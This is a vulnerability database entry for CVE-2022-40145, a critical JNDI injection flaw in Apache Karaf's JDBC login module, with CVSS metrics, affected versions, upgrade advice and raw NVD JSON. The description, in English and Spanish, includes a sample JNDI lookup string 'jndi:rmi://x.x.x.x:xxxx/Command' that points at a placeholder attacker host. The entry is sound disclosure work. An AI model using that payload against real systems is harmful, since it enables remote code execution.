CVE-2022-40145

CVSS v3 9.8 CRITICAL

9.8^/10

CVSS v3 : CRITICAL

Vector :

Exploitability : 3.9 / Impact : 5.9

Attack Vector NETWORK

Attack Complexity LOW

Privileges Required NONE

User Interaction NONE

Confidentiality Impact HIGH

Integrity Impact HIGH

Availability Impact HIGH

Scope UNCHANGED

T

his vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8

References

Link	Resource
https://karaf.apache.org/security/cve-2022-40145.txt	Vendor Advisory
https://karaf.apache.org/security/cve-2022-40145.txt	Vendor Advisory

Configurations

Configuration 1 (hide)

OR	cpe:2.3:a:apache:karaf::::::::
	cpe:2.3:a:apache:karaf::::::::

History

21 Nov 2024, 07:20

Type	Values Removed	Values Added
References	~~() https://karaf.apache.org/security/cve-2022-40145.txt - Vendor Advisory~~	() https://karaf.apache.org/security/cve-2022-40145.txt - Vendor Advisory

Information

Published : 2022-12-21 16:15

Updated : 2025-04-15 18:15

NVD link : CVE-2022-40145

Mitre link : CVE-2022-40145

CVE.ORG link : CVE-2022-40145

JSON object : View

Products Affected

karaf

CWE

CWE-20

Improper Input Validation

CWE-74

Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

NVD-CWE-Other

{"id": "CVE-2022-40145", "cveTags": [], "metrics": {"cvssMetricV31": [{"type": "Primary", "source": "[email protected]", "cvssData": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 9.8, "attackVector": "NETWORK", "baseSeverity": "CRITICAL", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "NONE", "confidentialityImpact": "HIGH"}, "impactScore": 5.9, "exploitabilityScore": 3.9}, {"type": "Secondary", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "cvssData": {"scope": "UNCHANGED", "version": "3.1", "baseScore": 9.8, "attackVector": "NETWORK", "baseSeverity": "CRITICAL", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "integrityImpact": "HIGH", "userInteraction": "NONE", "attackComplexity": "LOW", "availabilityImpact": "HIGH", "privilegesRequired": "NONE", "confidentialityImpact": "HIGH"}, "impactScore": 5.9, "exploitabilityScore": 3.9}]}, "published": "2022-12-21T16:15:08.930", "references": [{"url": "https://karaf.apache.org/security/cve-2022-40145.txt", "tags": ["Vendor Advisory"], "source": "[email protected]"}, {"url": "https://karaf.apache.org/security/cve-2022-40145.txt", "tags": ["Vendor Advisory"], "source": "af854a3a-2127-422b-91ae-364da2661108"}], "vulnStatus": "Modified", "weaknesses": [{"type": "Secondary", "source": "[email protected]", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-74"}]}, {"type": "Primary", "source": "[email protected]", "description": [{"lang": "en", "value": "NVD-CWE-Other"}]}], "descriptions": [{"lang": "en", "value": "This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL.\n\nThe function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource\nuse InitialContext.lookup(jndiName) without filtering.\nAn user can modify\u00a0`options.put(JDBCUtils.DATASOURCE, \"osgi:\" +\u00a0DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://x.x.x.x:xxxx/Command\");` in JdbcLoginModuleTest#setup.\n\nThis is vulnerable to a remote code execution (RCE) attack when a\nconfiguration uses a JNDI LDAP data source URI when an attacker has\ncontrol of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7.\n\nWe encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8"}, {"lang": "es", "value": "Esta vulnerabilidad se trata de una posible inyecci\u00f3n de c\u00f3digo cuando un atacante tiene el control del servidor LDAP de destino utilizando la URL JDBC JNDI. La funci\u00f3n jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource utiliza InitialContext.lookup(jndiName) sin filtrar. Un usuario puede modificar `options.put(JDBCUtils.DATASOURCE, \"osgi:\" + DataSource.class.getName());` a `options.put(JDBCUtils.DATASOURCE,\"jndi:rmi://xxxx:xxxx/Command \");` en JdbcLoginModuleTest#setup. Esto es vulnerable a un ataque de ejecuci\u00f3n remota de c\u00f3digo (RCE) cuando una configuraci\u00f3n utiliza un URI de origen de datos LDAP JNDI cuando un atacante tiene control del servidor LDAP de destino. Este problema afecta a todas las versiones de Apache Karaf hasta 4.4.1 y 4.3.7. Animamos a los usuarios a actualizar a Apache Karaf al menos 4.4.2 o 4.3.8."}], "lastModified": "2025-04-15T18:15:44.667", "configurations": [{"nodes": [{"negate": false, "cpeMatch": [{"criteria": "cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "CEDC6799-2894-4DB9-A66B-9481580EDC66", "versionEndExcluding": "4.3.8"}, {"criteria": "cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*", "vulnerable": true, "matchCriteriaId": "3320F4C0-A9F6-43C3-B473-1E56EFD0086D", "versionEndExcluding": "4.4.2", "versionStartIncluding": "4.4.0"}], "operator": "OR"}]}], "sourceIdentifier": "[email protected]"}